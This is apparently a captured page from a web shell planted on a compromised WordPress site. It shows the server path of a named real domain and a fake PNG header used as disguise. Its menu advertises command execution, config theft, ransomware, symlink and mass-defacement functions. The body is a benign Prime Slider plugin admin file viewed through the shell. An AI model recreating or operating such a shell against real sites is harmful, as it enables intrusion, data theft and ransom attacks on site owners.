\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/softech.com.tr/wp-content/plugins/bdthemes-prime-slider-lite/includes/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/softech.com.tr/wp-content/plugins/bdthemes-prime-slider-lite/includes/admin.php


<?php

namespace PrimeSlider;

if ( !defined( 'ABSPATH' ) ) {
    exit;
}
// Exit if accessed directly
class Admin
{
    public function __construct()
    {
        add_action( 'admin_init', [ $this, 'admin_script' ], 99 );
        add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_styles' ] );
        add_action( 'after_setup_theme', [ $this, 'whitelabel' ] );
        if ( ps_is_giveaway_notice_enabled() ) {
            add_action( 'admin_notices', [ $this, 'rate_the_prime_slider' ] );
        }
    }
    
    /**
     * You can easily add white label branding for extended license or multi site license. Don't try for regular license otherwise your license will be invalid.
     * @return [type] [description]
     * Define BDTPS_WL for execute white label branding
     */
    public function whitelabel()
    {
        
        if ( defined( 'BDTPS_WL' ) ) {
            add_filter(
                'gettext',
                [ $this, 'prime_slider_name_change' ],
                20,
                3
            );
            if ( defined( 'BDTPS_HIDE' ) ) {
                add_action( 'pre_current_active_plugins', [ $this, 'hide_prime_slider' ] );
            }
        } else {
            add_filter(
                'plugin_row_meta',
                [ $this, 'plugin_row_meta' ],
                10,
                2
            );
            add_filter( 'plugin_action_links_' . BDTPS_PBNAME, [ $this, 'plugin_action_meta' ] );
        }
    
    }
    
    public function enqueue_styles()
    {
        $suffix = ( is_rtl() ? '.rtl' : '' );
        // stylesheet enqueue
        wp_enqueue_style(
            'bdt-uikit',
            BDTPS_ASSETS_URL . 'css/bdt-uikit' . $suffix . '.css',
            [],
            '3.2'
        );
        wp_enqueue_style(
            'bdthemes-prime-slider-admin',
            BDTPS_ASSETS_URL . 'css/admin' . $suffix . '.css',
            [],
            BDTPS_VER
        );
        wp_enqueue_style(
            'prime-slider-font',
            BDTPS_ASSETS_URL . 'css/prime-slider-font' . $suffix . '.css',
            [],
            BDTPS_VER
        );
        // javascript enqueue
        wp_enqueue_script(
            'bdt-uikit',
            BDTPS_ASSETS_URL . 'js/bdt-uikit.js',
            [ 'jquery' ],
            BDTPS_VER
        );
    }
    
    public function plugin_row_meta( $plugin_meta, $plugin_file )
    {
        
        if ( BDTPS_PBNAME === $plugin_file ) {
            $row_meta = [
                'docs'  => '<a href="https://primeslider.pro/contact/" aria-label="' . esc_attr( __( 'Go for Get Support', 'bdthemes-prime-slider' ) ) . '" target="_blank">' . __( 'Get Support', 'bdthemes-prime-slider' ) . '</a>',
                'video' => '<a href="https://www.youtube.com/playlist?list=PLP0S85GEw7DP3-yJrkgwpIeDFoXy0PDlM" aria-label="' . esc_attr( __( 'View Prime Slider Video Tutorials', 'bdthemes-prime-slider' ) ) . '" target="_blank">' . __( 'Video Tutorials', 'bdthemes-prime-slider' ) . '</a>',
            ];
            $plugin_meta = array_merge( $plugin_meta, $row_meta );
        }
        
        return $plugin_meta;
    }
    
    public function plugin_action_meta( $links )
    {
        $links = array_merge( [ sprintf( '<a href="%s">%s</a>', prime_slider_dashboard_link(), esc_html__( 'Settings', 'bdthemes-prime-slider' ) ) ], $links );
        return $links;
    }
    
    //Change Prime Slider Name
    public function prime_slider_name_change( $translated_text, $text, $domain )
    {
        switch ( $translated_text ) {
            case 'Prime Slider':
                $translated_text = BDTPS_TITLE;
                break;
        }
        return $translated_text;
    }
    
    //hiding plugins //still in testing purpose
    public function hide_prime_slider()
    {
        global  $wp_list_table ;
        $hide_plg_array = array( 'bdthemes-prime-slider/bdthemes-prime-slider.php' );
        $all_plugins = $wp_list_table->items;
        foreach ( $all_plugins as $key => $val ) {
            if ( in_array( $key, $hide_plg_array ) ) {
                unset( $wp_list_table->items[$key] );
            }
        }
    }
    
    public function admin_script()
    {
        $suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min' );
        
        if ( is_admin() ) {
            // for Admin Dashboard Only
            // Embed the Script on our Plugin's Option Page Only
            
            if ( isset( $_GET['page'] ) && $_GET['page'] == 'prime_slider_options' ) {
                wp_enqueue_script( 'jquery' );
                wp_enqueue_script( 'jquery-form' );
            }
            
            wp_enqueue_script(
                'prime-slider-admin-script',
                BDTPS_ASSETS_URL . 'js/prime-slider-admin' . $suffix . '.js',
                [ 'jquery' ],
                BDTPS_VER,
                true
            );
        }
    
    }
    
    public function rate_the_prime_slider()
    {
        Notices::add_notice( [
            'id'               => 'rate-the-prime-slider',
            'type'             => 'success',
            'dismissible'      => true,
            'dismissible-time' => 1209600,
            'message'          => __( '<b>Win Prime Slider Pro Lifetime License</b> by giving us an honest review. Please go to <a href="https://wordpress.org/plugins/bdthemes-prime-slider-lite/">Prime Slider</a> WordPress repository and submit your review. We will select one random user from the review page every month. When you complete your review just fill-up <a href="https://bdthemes.com/giveaway-form/">this form</a> to join our giveaway program.', 'bdthemes-prime-slider' ),
        ] );
    }

}

© KUJUNTI.ID